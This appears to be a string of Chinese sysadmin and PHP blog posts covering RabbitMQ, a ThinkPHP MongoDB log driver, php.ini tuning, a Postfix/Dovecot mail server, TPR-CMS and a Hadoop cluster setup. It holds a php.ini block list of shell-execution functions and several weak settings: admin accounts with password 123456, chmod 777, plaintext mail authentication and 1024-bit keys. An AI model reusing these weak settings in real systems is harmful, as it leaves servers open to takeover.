      "/usr/include",
      "/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1"
  ]

4.打开命令模式,选择[Tasks: Configure Task Runner]命令,其会在目录的.vscode配置目录下生成一个tasks.json文件

  {
    // See https://go.microsoft.com/fwlink/?LinkId=733558
    // for the documentation about the tasks.json format
    "version": "0.1.0",
    "command": "clang++",
    "isShellCommand": true,
    "args": ["main.cpp", "-std=c++11", "-g"],
    "showOutput": "always"
}

注:main.cpp是入口文件,

前言

RabbitMq是实现AMQP消息中间件的一种,常被用于RPC场景。RabbitMq对消息的发送端和消息的接收端进行了解耦,使消息的发送者无需了解消息的接收端,反之,接收端也无需过多了解发送端。简言之,生产者只需负责生产,消费者只负责消费。

基本概念

  • queue (队列)

    队列是存放消息的地方,且其中的消息是按序排布的。根据设置,队列可以是临时的(用完即删),也可以是持久的(服务未停止前一直存在)。

  • channel (频道)

    channel的作用是进行消息的传递。消息存放在队列中,以轮询的方式通过频道发送给监听频道的消费者,可以动态的增加消费者以提高消息的“消费能力”。

  • exchange (交换机)

    顾名思义,它的作用是转发消息,角色行为是“调度”。调度规则有四种:direct, topic, headers and fanout

    1.direct: 根据routigKey指定的队列进行消息转发
    2.topic: 按规则转发消息,该类型非常灵活,甚至可以实现其它三种类型的转发方式
    3.header: 不处理路由键,根据消息内容中的headers属性匹配转发规则
    4.fanout: 转发消息到所有已绑定的队列

rabbitMq-server

系统环境: Centos7.3

  • 安装erlang
yum install -y epel-release erlang

#查看版本
erl -version
  • 下载rabbitmq-server并进行yum安装

http://www.rabbitmq.com/download.html

cd /usr/src
wget http://www.rabbitmq.com/releases/rabbitmq-server/v3.6.11/rabbitmq-server-3.6.11-1.el6.noarch.rpm

rpm --import http://www.rabbitmq.com/rabbitmq-signing-key-public.asc

yum install -y rabbitmq-server
  • 启动
# 开机自启动
chkconfig rabbitmq-server on

# 启动服务
service rabbitmq-server start

# 查看服务状态
service rabbitmq-server status

web管理工具

  • 安装

    rabbitmq-plugins enable rabbitmq_management
  • 默认账号密码

默认账号只能在localhost等本机模式下才可登陆

guest
guest
  • 添加可以远程登陆的账号

    sudo rabbitmqctl add_user test 123456
    sudo rabbitmqctl set_user_tags test administrator
    sudo rabbitmqctl set_permissions -p / test ".*" ".*" ".*"
  • 查看已创建用户

    rabbitmqctl list_users
  • 浏览器访问web管理工具

注意防火墙配置,开启15672端口

http://domain_or_ip:15672/

rabbitmqadmin

rabbitmqadmin是远程管理接口的命令行工具

安装好web管理工具并成功访问后,可在http://server-name:15672/cli页面下载rabbitmqadmin文件

拷贝到 /usr/local/bin 或者你想要的路径

增加可执行权限 : chmod 777 rabbitmqadmin

rabbitmqctl

rabbitmqctl是一个简单的命令行工具用于管理RabbitMQ Server,适合通过ssh登陆的管理

rabbitmqctl --help # 查看rabbitmqctl相关命令

php-amqplib

composer 组件
https://github.com/php-amqplib/php-amqplib

  • 安装

    composer require php-amqplib/php-amqplib
  • 关于使用php-amplib组件的示例代码 Rabbit.php

<?php
namespace tpr\api\index\controller;

use PhpAmqpLib\Connection\AMQPStreamConnection;
use PhpAmqpLib\Message\AMQPMessage;
use tpr\framework\Controller;
use tpr\framework\Debug;

class Rabbit extends Controller
{
    public function send()
    {
        /**
         * 连接RabbitMq-Server
         */
        $connection = new AMQPStreamConnection('localhost', 5672, 'guest', 'guest');

        //选择channel
        $channel = $connection->channel();

        //选择队列,队列名: 'hello'
        $queue_name = 'hello';
        $channel->queue_declare($queue_name, false, false, false, false);

        // 连续20次发送
        for ($i = 0; $i < 20; $i++) {
            $msg = new AMQPMessage('Hello World!' . time() . '->count:' . $i);
            $channel->basic_publish($msg, '', $queue_name);
        }

        $channel->close();
        $connection->close();
        $this->response($queue_name);
    }

    public function receive()
    {
        //接收者名称
        $receiver_name = uniqid();

        //使用Fork类异步执行消息接收
        $this->response($receiver_name);
    }

    public function forkReceive($receive_name)
    {
        $connection = new AMQPStreamConnection('localhost', 5672, 'guest', 'guest');

        //选择channel
        $channel = $connection->channel();

        //选择队列,队列名: 'hello'
        $channel->queue_declare('hello', false, false, false, false);
        echo ' [*] Waiting for messages. To exit press CTRL+C', "\n";
        $callback = function ($msg) use ($receive_name) {
            Debug::save(ROOT_PATH . 'rabbitmq.log', $receive_name . ' : ' . $msg->body);
            echo " [x] Received ", $msg->body, "\n";
        };

        //监听队列
        $channel->basic_consume('hello', '', false, true, false, false, $callback);
        while (count($channel->callbacks)) {
            $channel->wait();
        }
        $channel->close();
        $connection->close();
    }
}
  • 测试过程

receive方法运行两次,创建两个接收端,然后调用send方法,发送20次message

  • 运行结果
59a91fa0ed35a : Hello World!1504256098->count:0
59a91fa0ed35a : Hello World!1504256098->count:2
59a91fa1c2f30 : Hello World!1504256098->count:1
59a91fa0ed35a : Hello World!1504256098->count:4
59a91fa1c2f30 : Hello World!1504256098->count:3
59a91fa0ed35a : Hello World!1504256098->count:6
59a91fa1c2f30 : Hello World!1504256098->count:5
59a91fa0ed35a : Hello World!1504256098->count:8
59a91fa1c2f30 : Hello World!1504256098->count:7
59a91fa0ed35a : Hello World!1504256098->count:10
59a91fa1c2f30 : Hello World!1504256098->count:9
59a91fa0ed35a : Hello World!1504256098->count:12
59a91fa1c2f30 : Hello World!1504256098->count:11
59a91fa0ed35a : Hello World!1504256098->count:14
59a91fa1c2f30 : Hello World!1504256098->count:13
59a91fa0ed35a : Hello World!1504256098->count:16
59a91fa1c2f30 : Hello World!1504256098->count:15
59a91fa1c2f30 : Hello World!1504256098->count:17
59a91fa0ed35a : Hello World!1504256098->count:18
59a91fa1c2f30 : Hello World!1504256098->count:19

代码地址 : tpr_infinite_tree()

源码

    function tpr_infinite_tree($data,$parent_index='parent_id',$data_index='id',$child_name='child'){
//        $data = [
//            ['id'=>1,'parent_id'=>0],
//            ['id'=>2,'parent_id'=>3],
//            ['id'=>3,'parent_id'=>1],
//            ['id'=>4,'parent_id'=>2],
//            ['id'=>5,'parent_id'=>6],
//            ['id'=>6,'parent_id'=>7],
//            ['id'=>7,'parent_id'=>5],
//        ];
        $items = [];
        foreach ($data as $d){
            $items[$d[$data_index]] = $d;
            if(!isset($d[$parent_index]) || !isset($d[$data_index]) || isset($d[$child_name])){
                return false;
            }
        }
        $tree = [];$n=0;
        foreach($items as $item){
            if(isset($items[$item[$parent_index]])){
                $items[$item[$parent_index]][$child_name][] = &$items[$item[$data_index]];
            }else{
                $tree[$n++] = &$items[$item[$data_index]];
            }
        }
        return $tree;
    }

阐释

参数

  • $data 节点list数据
  • $parent_index 父节点索引名,默认值parent_id
  • $data_index 各节点索引名,默认值id
  • $child_name 树状结构中子节点位存于父节点的属性值,默认值child

原理

根据节点id作为key值
单循环各节点,判断是否有父节点
若有父节点,则子节点绑定至父节点的child属性中
当出现a属于b,b属于c,c属于a这种死循环所属关系时,不会在$tree中体现

前言

之前用tp的日志主要是以文件日志为主,在调试和应用过程中发现使用起来并不是很方便,在tp高级群里问了下有没有可以解析tp日志文件的composer组件也没人应,就自己写了个日志文件解析的类TPLogService。但是感觉依然不够理想,所以就写了个Mongodb版的日志驱动。


TPLogService介绍

TPLogService代码地址

https://github.com/AxiosCros/tpr-composer/blob/master/src/service/TPLogService.php

TPLogService主要特点

1.能解析file形式的日志文件。
2.日志解析是遍历日志文件夹下的所有日志文件,以目录为单位生成一个数组形式的一大堆数据,这些数据比较难统计分析。
3.支持只解析单日志文件,只需传入该文件路径即可。
4.因为不能根据条件查询,所以当一次性获取的日志数量特别多时,可能会非常非常慢。


Mongodb版日志驱动介绍

Mongodb版日志驱动的特点

1.支持查询,方便分析统计,比如统计某个方法的请求次数,查看处理最慢的是哪个方法等等。
2.性能更好。较比于日志文件解析,通过查询方式获取日志信息性能肯定是更好的。
3.方便获取。只要可以连接Mongodb数据库即可
4.不易丢失。文件形式虽然也是持久化的,但是一旦项目因为变动或其他原因,丢失了runtime目录,极易造成日志的丢失。而放置mongodb中,可以在一定程度上保证日志能够稳定存在。

代码文件地址

已提交pr,未合并,待正式合并后代码可能会有变动,也有可能最后转为composer组件的形式

framework: /library/think/log/driver/Mongodb.php

日志配置示例

config.php

'log'    => [
        // 日志记录方式,内置 file socket 支持扩展
        'type'  => 'Mongodb',
        // 日志保存目录
        'path'  => LOG_PATH,
        // 日志记录级别
        'level' => ['error','debug','info'],
        //MongoDB的连接配置
        'connection'=>'default',
        //日志数据库名称
        'database'=>'log',
        //日志时间日期格式
        'time_format'=>"Y-m-d H:i:s",
        //独立记录的日志级别
        'apart_level' => [],
    ],

mongodb连接配置示例

mongodb扩展配置:/config/extra/mongo.php

return [
    'default'=>[
        "type"              => '\think\mongo\Connection',
        "hostname"          => \think\Env::get('mongo.hostname'),
        "database"          => \think\Env::get('mongo.database'),
        "username"          => \think\Env::get('mongo.username'),
        "password"          => \think\Env::get('mongo.password'),
        "hostport"          => \think\Env::get('mongo.hostport'),
        "dsn"               => \think\Env::get('mongo.dsn'),
        "params"            => [],
        "charset"           => "utf8",
        "pk"                => "_id",
        "pk_type"           => "ObjectID",
        "prefix"            => "",
        "debug"             => false,
        "deploy"            => 0,
        "rw_separate"       => false,
        "master_num"        => 1,
        "slave_no"          => "",
        "fields_strict"     => true,
        "resultset_type"    => "array",
        "auto_timestamp"    => false,
        "datetime_format"   => "Y-m-d H:i:s",
        "sql_explain"       => false,
        "pk_convert_id"     => false,
        "type_map" => [
            "root" =>"array",
            "document"=>"array",
            "query" =>"\\think\\mongo\\Query"
        ]
    ]
];

具体代码

namespace think\log\driver;
use think\App;
use think\Config;
use think\Db;

class Mongodb{
    protected $config = [
        // 日志保存目录
        'path'  => LOG_PATH,
        //MongoDB的连接配置
        'connection'=>'default',
        //日志数据库名称
        'database'=>'log',
        //日志时间日期格式
        'time_format'=>"Y-m-d H:i:s",
        //独立记录的日志级别
        'apart_level' => [],
    ];

    protected $mongo_config;

    protected $database;

    public function __construct($config = [])
    {
        if (is_array($config)) {
            $this->config = array_merge($this->config, $config);
        }
        $this->mongo_config = Config::get("mongo.".$this->config['connection']);
        if(empty($this->mongo_config)){
            throw new \InvalidArgumentException('mongodb config not exits');
        }
        $this->database     = $this->config['database'];
    }

    /**
     * 日志写入接口
     * @access public
     * @param array $log 日志信息
     * @return bool
     */
    public function save(array $log = []){
        $insert = [];
        $timestamp = time();
        $datetime = isset($this->config['time_format'])?date($this->config['time_format']):date("Y-m-d H:i:s");

        if (App::$debug ) {
            if(isset($_SERVER['HTTP_HOST'])){
                $insert['current_url'] =  $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
            } else {
                $insert['current_url'] = "cmd:" . implode(' ', $_SERVER['argv']);
            }

            $runtime    = round(microtime(true) - THINK_START_TIME, 10);
            $qps        = $runtime > 0 ? number_format(1 / $runtime, 2). 'req/s]' : '∞'. 'req/s]';
            $runtime_str=  number_format($runtime, 6) . 's';
            $memory_use = number_format((memory_get_usage() - THINK_START_MEM) / 1024, 2);
            $file_load  = count(get_included_files());
            $server     = isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : '0.0.0.0';
            $remote     = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '0.0.0.0';
            $method     = isset($_SERVER['REQUEST_METHOD']) ? $_SERVER['REQUEST_METHOD'] : 'CLI';
            $insert     = [
                'timestamp'=>$timestamp,
                'datetime'=>$datetime,
                'method'=>$method,
                'runtime'=>$runtime_str,
                'qps'=>$qps,
                'memory_use'=>$memory_use . 'kb',
                'file_load'=>$file_load,
                'server'=>$server,
                'remote'=>$remote
            ];
        }

        $content=[];
        foreach ($log as $type => $val){
            if(isset($content[$type])){
                $n = count($val);
            }else{
                $n=0;
            }
            foreach ($val as $msg) {
                if (!is_string($msg)) {
                    $msg = var_export($msg, true);
                }
                $content[$type][$n] = $msg;
                $n++;
            }
            if(in_array($type, $this->config['apart_level'])){
                $this->log($content,$type);
            }
        }
        $insert['log'] = $content;
        $this->log($insert);
        return true;
    }

    protected function log($insert=[],$database=''){
        if(empty($database)){
            $database = $this->database;
        }
        $mongo = Db::connect($this->mongo_config)->name($database);
        if(empty($mongo)){
            throw new \InvalidArgumentException('mongodb connection fail');
        }
        return $mongo->insert($insert);
    }
}

相关文章

常见配置

#默认是PHPSESSID
#如果不想暴露后端是什么类型语言的话,可以设置一下
session.name = SESSIONID

#不设缓冲区,使脚本不需要等待全部执行完,就可以输出
output_buffering=0

#压缩后输出,开启压缩后会增加cpu的消耗
 zlib.output_compression = On
 zlib.output_compression_level = 3
 zlib.output_handler = "" #为空或该项注释掉

#自动刷新缓冲区
#等同于在每次使用 print、echo 等函数或每个 HTML 块之后,调用 PHP 中的 flush() 函数。
implicit_flush = On

#内存限制
memory_limit = 2G

#脚本最长执行时间,0为无限制
max_execution_time = 1800

# 很显然,默认错误日志的长度限制已经不符合这个廉价存储的时代了
#不过,好像也很少有错误日志这么大的
log_errors_max_len = 65535

#这个可以根据业务场景设置,太大了也不好,万一中断还需要再重新传
#最好是分块,每块不超过限制,断了还可以续传
post_max_size = 100M
#同上
upload_max_filesize = 200M

#单次请求最大上传文件数
max_file_uploads = 20

#磁盘够用的话就开大点
pdo_mysql.cache_size = 4000

#线上环境session可以存的久一些
session.cache_expire = 3600


[opcache]
#cgi模式
opcache.enable=1
#cli模式
opcache.enable_cli=0
#单位megabytes,内存够多的话就多开些
opcache.memory_consumption=512
#字符串驻留,可以让所有进程共享字符串的内存地址
opcache.interned_strings_buffer=8
#设置最多可以缓冲多少个php文件,最好比所有的php文件总和数要多
opcache.max_accelerated_files=1000000
# 更新的时间周期, 默认为 2, 单位为秒
opcache.revalidate_freq=60
#在php代码有较大版本更替的时候,可以在生产环境设置为0,设置后需重启php新代码才生效
opcache.validate_timestamps=0

PHP常禁的funtion

vim php.ini

#search disable_functions config
  • passthru
  • exec
  • system
  • chroot
  • scandir(tp5中会用到)
  • chgrp
  • shell_exec
  • proc_open
  • proc_get_status
  • popen
  • ini_alter
  • ini_restore
  • dl
  • openlog
  • syslog
  • readlink
  • symlink
  • popepassthru
  • stream_socket_server

参考博文:
php手册
zend opcache的最佳设置
使用 OpCache 提升 PHP 5.5+ 程序性能

注意:以下所有配置的命名都是根据主机的hostname变量来配置的,如果hostname更换了的话,需要重新生成证书。

生成ssl证书

  • 生成证书的脚本代码

以hostname为命名生成证书,运行脚本后需输入四次相同密码(密码须包含数字和字母)

#!/bin/sh
rm -rf $(hostname).*

openssl genrsa -des3 -out $(hostname).key 1024

SUBJECT="/C=US/ST=Mars/L=iTranswarp/O=iTranswarp/OU=iTranswarp/CN=$(hostname)"

openssl req -new -subj $SUBJECT -key $(hostname).key -out $(hostname).csr

mv $(hostname).key $(hostname).origin.key

openssl rsa -in $(hostname).origin.key -out $(hostname).key

openssl x509 -req -days 3650 -in $(hostname).csr -signkey $(hostname).key -out $(hostname).crt

cp $(hostname).crt /etc/pki/tls/certs/$(hostname).crt
cp $(hostname).key /etc/pki/tls/certs/$(hostname).key

echo "the key path:/etc/pki/tls/certs/$(hostname).key"
echo "the crt path:/etc/pki/tls/certs/$(hostname).crt"

rm -rf $(hostname).*

Postfix安装及配置

安装

yum -y install postfix

配置

  • vim /etc/postfix/main.cf
# line 75: uncomment and specify hostname
myhostname =  $(hostname)

# line 83: uncomment and specify domain name
mydomain = test.cn

# line 99: uncomment
myorigin = $mydomain

# line 116: change
inet_interfaces = all

# line 164: add
mydestination = $myhostname, localhost.$mydomain, localhost, $mydomain

# line 264: uncomment and specify your local network
mynetworks = 127.0.0.0/8, 10.0.0.0/24

# line 419: uncomment (use mailboxdir)
home_mailbox = mailbox/

# line 574: add
smtpd_banner = $myhostname ESMTP


# 在配置文件尾部追加以下内容

# limit an email size for 10M
message_size_limit = 10485760

# limit a mailbox for 1G
mailbox_size_limit = 1073741824

# for SMTP-Auth
smtpd_sasl_type = dovecot
smtpd_sasl_path = private/auth
smtpd_sasl_auth_enable = yes
smtpd_sasl_security_options = noanonymous
smtpd_sasl_local_domain = $myhostname
smtpd_recipient_restrictions = permit_mynetworks,permit_auth_destination,permit_sasl_authenticated,reject
smtpd_use_tls = yes
smtpd_tls_cert_file = /etc/pki/tls/certs/$(hostname).crt
smtpd_tls_key_file = /etc/pki/tls/certs/$(hostname).key
smtpd_tls_session_cache_database = btree:/etc/postfix/smtpd_scache
  • vim /etc/postfix/master.cf
# line 26-28: uncomment
smtps       inet   n       -       n       -       -       smtpd
  -o syslog_name=postfix/smtps
  -o smtpd_tls_wrappermode=yes

Dovecot 安装及配置

安装

yum -y install dovecot

配置

  • vim /etc/dovecot/dovecot.conf

    # line 24: uncomment
    protocols = imap pop3 lmtp
    # line 30: uncomment and change ( if not use IPv6 )
    listen = *
  • vim /etc/dovecot/conf.d/10-auth.conf

    # line 10: uncomment and change ( allow plain text auth )
    disable_plaintext_auth = no
    # line 100: add
    auth_mechanisms = plain login
  • vim /etc/dovecot/conf.d/10-mail.conf

    # line 30: uncomment and add
    mail_location = maildir:~/Maildir
  • vim /etc/dovecot/conf.d/10-master.conf

    # line 96-98: uncomment and add like follows
    # Postfix smtp-auth
    unix_listener /var/spool/postfix/private/auth {
      mode = 0666
      user = postfix
      group = postfix
    }
  • vim /etc/dovecot/conf.d/10-ssl.conf

    # line 8: change
    ssl = yes
    # line 14,15: specify certificates
    ssl_cert = </etc/pki/tls/certs/$(hostname).crt
    ssl_key = </etc/pki/tls/certs/$(hostname).key

运行

systemctl restart postfix
systemctl enable postfix
systemctl start dovecot
systemctl enable dovecot

firewall-cmd --add-service=smtp --permanent
firewall-cmd --add-port={110/tcp,143/tcp} --permanent
firewall-cmd --add-service={pop3s,imaps} --permanent
firewall-cmd --add-port=465/tcp --permanent
firewall-cmd --reload

邮件日志报告pflogsumm

  • 安装

    yum -y install postfix-perl-scripts
  • 查看

    perl /usr/sbin/pflogsumm -d yesterday /var/log/maillog
  • 每天1:00AM 定时发送邮件日志摘要到根

    crontab -e
    00 01 * * * perl /usr/sbin/pflogsumm -e -d yesterday /var/log/maillog | mail -s 'Logwatch for Postfix' root

参考资料:CentOS 7.2 部署邮件服务器(Postfix)

thinkphp框架版本及修改文件

修改内容

  1. 取消cookie存入语言设置功能
  2. Lang.php 中增加 private static $acceptLanguage = ['zh-hans-cn'=>'zh-cn'];
  3. 增加Accept-Language 转义功能

修改理由

1.取消cookie存入语言设置功能

客户端在中文语言环境下调接口,tp将语言设置存入cookie。此后,修改系统语言为英文,再次调接口,因为此时tp是调用的cookie中的语言设置,所以依然是中文,即客户端不能即时的修改语言。

2.增加Accept-Language 转义功能

ios客户端从ios系统中拿到的中文语言环境变量是zh-hans-us,原有的detect()方法不能将其转义为zh-ch。

增加Accept-Language 转义功能,可以手动设置请求头对应的语言包,原有的zh-hans-cn的转义作为默认转义,放置在self::$acceptLanguage变量中

修改后的detect()方法如下

    public static function detect()
    {
        // 自动侦测设置获取语言选择
        $langSet = '';

        if (isset($_GET[self::$langDetectVar])) {
            // url中设置了语言变量
            $langSet = strtolower($_GET[self::$langDetectVar]);
        }
        elseif (isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])) {
            // 自动侦测浏览器语言
            preg_match('/^([a-z\d\-]+)/i', $_SERVER['HTTP_ACCEPT_LANGUAGE'], $matches);
            $langSet = strtolower($matches[1]);
            $header_accept_lang_config = Config::get('header_accept_lang');
            if(isset($header_accept_lang_config[$langSet])){
                $langSet =$header_accept_lang_config[$langSet];
            }elseif(isset(self::$acceptLanguage[$langSet])){
                $langSet =self::$acceptLanguage[$langSet];
            }
        }
        if (empty(self::$allowLangList) || in_array($langSet, self::$allowLangList)) {
            // 合法的语言
            self::$range = $langSet ?: self::$range;
        }
        return self::$range;
    }

TPR-CMS面向多应用端接口开发的应用框架

管理系统的前端页面基于layui2.0开发,后端逻辑基于tpr-framework框架核心开发

交流QQ群:521797692

github: TPR-CMS

TPR核心代码

  • 基于thinkphp5的修订版框架 tpr-framework

    因为与thinkphp5官方版命名空间相同,所以不兼容不能共存。但是使用方法基本与thinkphp5相同

https://github.com/AxiosCros/tpr-framework

tpr-cms后台管理系统所需环境

  • php7.0+
  • php-fpm
  • pcntl
  • posix
  • mysql5.5+
  • redis , phpredis 缓存建议使用redis
  • mongodb 日志驱动建议使用Mongo

框架特点

  • 异步队列。有子进程回收机制与并发数限制的异步队列解决方案

  • 框架核心(tpr-framework)基于thinkphp5.0.9开发,无缝衔接thinkphp5的功能,加快开发速度

  • 便捷的接口参数验证,可以在一定程度上保证接口访问的标准性

  • 通过使用前置和后置中间件,可以有非常好的扩展性

  • 接口缓存,可以非常方便的加速接口请求速度

  • 支持多语言翻译,可以很方便的在中英文等多语言环境中切换

  • 多应用多入口的架构模式,更易于多端接口的开发维护工作

安装

#github
git clone https://github.com/AxiosCros/tpr-cms.git

#oschina
git clone https://git.oschina.net/AxiosCro/tpr-cms.git

cd tpr-cms
composer install

cp .env.example .env

#编辑.env文件
vim .env

#手动导入api.sql至数据库
#api.sql中主要是一些后台管理系统会用到的数据表,另外还有一个api_users的用户示例表

访问

admin

123456

开源协议

遵循Apache2开源协议发布,并提供免费使用

相关设备

主机 系统 hostname ip
master CentOS7.2 master.hadoop 192.168.142.129
slave1 CentOS7.2 1.slave.hadoop 192.168.142.131
slave2 CentOS7.2 2.slave.hadoop 192.168.142.132
slave3 CentOS7.2 3.slave.hadoop 192.168.142.133

所有节点上的操作

配置hosts

vim /etc/hosts/

#添加以下内容
192.168.142.129 master.hadoop
192.168.142.131 1.slave.hadoop
192.168.142.132 2.slave.hadoop
192.168.142.133 3.slave.hadoop

创建用户、用户组和相关目录

  • 创建用户组和用户
    
    groupadd hadoop
    useradd -d /home/hadoop -m hadoop -g hadoop

为hadoop用户设置密码

passwd hadoop

生成密钥

sudo -Hu hadoop ssh-keygen -t rsa


* 创建相关目录
``` shell
mkdir -p /hadoop/tmp
mkdir -p /hadoop/hdfs/data
mkdir -p /hadoop/hdfs/name
chown -R hadoop:hadoop /hadoop/

安装ntp服务及其它相关程序

yum install ntp -y
systemctl enable ntpd
systemctl start ntpd

yum install openssl-devel -y

安装JDK

  • 卸载centos自带的openjdk
#查看已安装的jdk
rpm -qa | grep jdk

#输出示例
java-1.8.0-openjdk-1.8.0.121-0.b13.el7_3.x86_64
java-1.8.0-openjdk-headless-1.8.0.121-0.b13.el7_3.x86_64
java-1.7.0-openjdk-1.7.0.131-2.6.9.0.el7_3.x86_64
java-1.7.0-openjdk-headless-1.7.0.131-2.6.9.0.el7_3.x86_64
copy-jdk-configs-1.2-1.el7.noarch

#卸载
yum remove java-1.7.0-openjdk-headless.x86_64 -y
yum remove java-1.7.0-openjdk -y
yum remove java-1.8.0-openjdk-headless-1.8.0.121-0.b13.el7_3.x86_64 -y
yum remove java-1.8.0-openjdk -y
cd /usr/src/
wget http://download.oracle.com/otn-pub/java/jdk/8u121-b13/e9e7ea248e2c4826b92b3f075a80e441/jdk-8u121-linux-x64.rpm?AuthParam=1489989096_11dbb8b04d10d8c53d34c4aea30bdd71
#上面的这个链接是有有效期的,只能临时用用

#下载后将文件重命名为jdk1.8.0_121.rpm
mv jdk-8u121-linux-x64.rpm?AuthParam=1489989096_11dbb8b04d10d8c53d34c4aea30bdd71 jdk1.8.0_121.rpm

#试过用wget -O参数直接重命名,但是这样不知道为什么,下载速度很慢

rpm -ivh jdk1.8.0_121.rpm
#安装地址  /usr/java/jdk1.8.0_121
#版本不同,安装地址也会有所不同
  • 配置JAVA系统环境变量
vim /etc/profile.d/java.sh

添加以下内容

#!/bin/bash
JAVA_HOME=/usr/java/jdk1.8.0_121
JRE_HOME=$JAVA_HOME/jre
PATH=$PATH:$JAVA_HOME/bin
CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar:$JAVA_HOME/jre/lib/rt.jar
export PATH JAVA_HOME JRE_HOME CLASSPATH

立即生效并查看

source /etc/profile.d/java.sh
java -version

安装hadoop

  • 下载hadoop
cd /usr/src/
wget http://mirrors.hust.edu.cn/apache/hadoop/common/hadoop-2.7.3/hadoop-2.7.3.tar.gz

tar -zxvf hadoop-2.7.3.tar.gz

#拷贝至特定目录
cp /usr/src/hadoop-2.7.3/ /usr/local/hadoop/ -R

chown -R hadoop:hadoop /usr/local/hadoop/
  • 配置hadoop环境变量
vim /etc/profile.d/hadoop.sh

添加以下内容

#!/bin/bash
HADOOP_HOME=/usr/local/hadoop
PATH=$PATH:$HADOOP_HOME/bin:$HADOOP_HOME/sbin
export PATH HADOOP_HOME

立即生效

source /etc/profile.d/hadoop.sh
hadoop version

输出示例

Hadoop 2.7.3
Subversion https://git-wip-us.apache.org/repos/asf/hadoop.git -r baa91f7c6bc9cb92be5982de4719c1c8af91ccff
Compiled by root on 2016-08-18T01:41Z
Compiled with protoc 2.5.0
From source with checksum 2e4ce5f957ea4db193bce3734ff29ff4
This command was run using /usr/local/hadoop/share/hadoop/common/hadoop-common-2.7.3.jar

配置hadoop

HADOOP_HOME=/usr/local/hadoop
因为的配置了JAVA_HOME 系统环境变量,所以无需修改hadoop-env.sh和yarn-env.sh文件手动配置JAVA_HOME

  • core-site.xml
vim /usr/local/hadoop/etc/hadoop/core-site.xml
<configuration>
    <property>
        <name>hadoop.tmp.dir</name>
        <value>/hadoop/tmp</value>
        <description>Abase for other temporary directories.</description>
    </property>
    <property>
        <name>fs.defaultFS</name>
        <value>hdfs://master.hadoop:9000</value>
    </property>
    <property>
        <name>io.file.buffer.size</name>
        <value>4096</value>
    </property>
</configuration>
  • hdfs-site.xml
vim /usr/local/hadoop/etc/hadoop/hdfs-site.xml
<configuration>
    <property>
        <name>dfs.namenode.name.dir</name>
        <value>file:/hadoop/hdfs/name</value>
    </property>
    <property>
        <name>dfs.datanode.data.dir</name>
        <value>file:/hadoop/hdfs/data</value>
    </property>
    <property>
        <name>dfs.replication</name>
        <value>2</value>
    </property>
    <property>
        <name>dfs.namenode.secondary.http-address</name>
        <value>master.hadoop:9001</value>
    </property>
    <property>
        <name>dfs.webhdfs.enabled</name>
        <value>true</value>
    </property>
</configuration>
  • /usr/local/hadoop/etc/hadoop/mapred-site.xml
    cp /usr/local/hadoop/etc/hadoop/mapred-site.xml.template /usr/local/hadoop/etc/hadoop/mapred-site.xml
    vim /usr/local/hadoop/etc/hadoop/mapred-site.xml
<configuration>
    <property>
        <name>mapreduce.framework.name</name>
        <value>yarn</value>
        <final>true</final>
    </property>
    <property>
        <name>mapreduce.jobtracker.http.address</name>
        <value>master.hadoop:50030</value>
    </property>
    <property>
        <name>mapreduce.jobhistory.address</name>
        <value>master.hadoop:10020</value>
    </property>
    <property>
        <name>mapreduce.jobhistory.webapp.address</name>
        <value>master.hadoop:19888</value>
    </property>
    <property>
         <name>mapred.job.tracker</name>
         <value>http://master.hadoop:9001</value>
    </property>
</configuration>
  • yarn-site.xml
    vim /usr/local/hadoop/etc/hadoop/yarn-site.xml
<configuration>
    <property>
        <name>yarn.resourcemanager.hostname</name>
        <value>master.hadoop</value>
    </property>
    <property>
        <name>yarn.nodemanager.aux-services</name>
        <value>mapreduce_shuffle</value>
    </property>
    <property>
        <name>yarn.resourcemanager.address</name>
        <value>master.hadoop:8032</value>
    </property>
    <property>
        <name>yarn.resourcemanager.scheduler.address</name>
        <value>master.hadoop:8030</value>
    </property>
    <property>
        <name>yarn.resourcemanager.resource-tracker.address</name>
        <value>master.hadoop:8031</value>
    </property>
    <property>
        <name>yarn.resourcemanager.admin.address</name>
        <value>master.hadoop:8033</value>
    </property>
    <property>
        <name>yarn.resourcemanager.webapp.address</name>
        <value>master.hadoop:8088</value>
    </property>
</configuration>

在各节点上的操作

进行以下步骤前,请确保以上步骤已在所有节点上(包括master)操作完毕

  • master节点上的操作
#配置slaves
vim /usr/local/hadoop/etc/hadoop/slaves

#删掉原先的locahost,添加以下内容
1.slave.hadoop
2.slave.hadoop
3.slave.hadoop
#ssh免密码登陆
#逐行操作,每步会需要hadoop用户账户的密码
su hadoop
ssh-copy-id -i /home/hadoop/.ssh/id_rsa.pub hadoop@master.hadoop
ssh-copy-id -i /home/hadoop/.ssh/id_rsa.pub hadoop@1.slave.hadoop
ssh-copy-id -i /home/hadoop/.ssh/id_rsa.pub hadoop@2.slave.hadoop
ssh-copy-id -i /home/hadoop/.ssh/id_rsa.pub hadoop@3.slave.hadoop

# 测试连通性
su hadoop
ssh master.hadoop
exit
ssh 1.slave.hadoop
exit
ssh 2.slave.hadoop
exit
ssh 3.slave.hadoop
exit

基本使用

在master节点操作

cd /usr/local/hadoop/sbin/

#切换为hadoop用户进行操作
su hadoop

#启动
./start-all.sh

#停止
./stop-all.sh

今天登陆博客编辑文章时,忽然发现每次提交后nginx都会报502错误,查看nginx的error log发现以下信息


recv() failed (104: Connection reset by peer) while reading response header from upstream

大意应该是连接被重置造成的问题,接下来进一步去看php-fpm的error_log,发现以下log日志


[10-Mar-2017 11:16:00] WARNING: [pool www] child 23579 exited with code 127 after 658.636883 seconds from start
[10-Mar-2017 11:16:00] NOTICE: [pool www] child 23645 started

大意好像是php-fpm子进程出错然后重启了,接下来去看php-fpm.conf

vim /usr/local/php7/etc/php-fpm.d/www.conf

找到pm.max_children配置,将值由原先的5改为10试一试,然后重启php-fpm服务,问题解决了。

至于为什么会有这样的原因,不是很理解,难道是最近访问我博客的人变多了?可是看access量好像也不是很多诶~

有点莫名其妙。。。。

前言

今天我的一个同事问了我一个功能,在使用TexturePacker合并小图的使用总是得一个一个的去合,这样很麻烦,问我能不能用命令行的方式,遍历所有文件夹,在各自文件夹内合并生成小图(PS:他的电脑是windows的)。这个功能我之前也没做过,就上网搜了些资料,最后整理归纳了一小段代码。

TexturePacker的安装

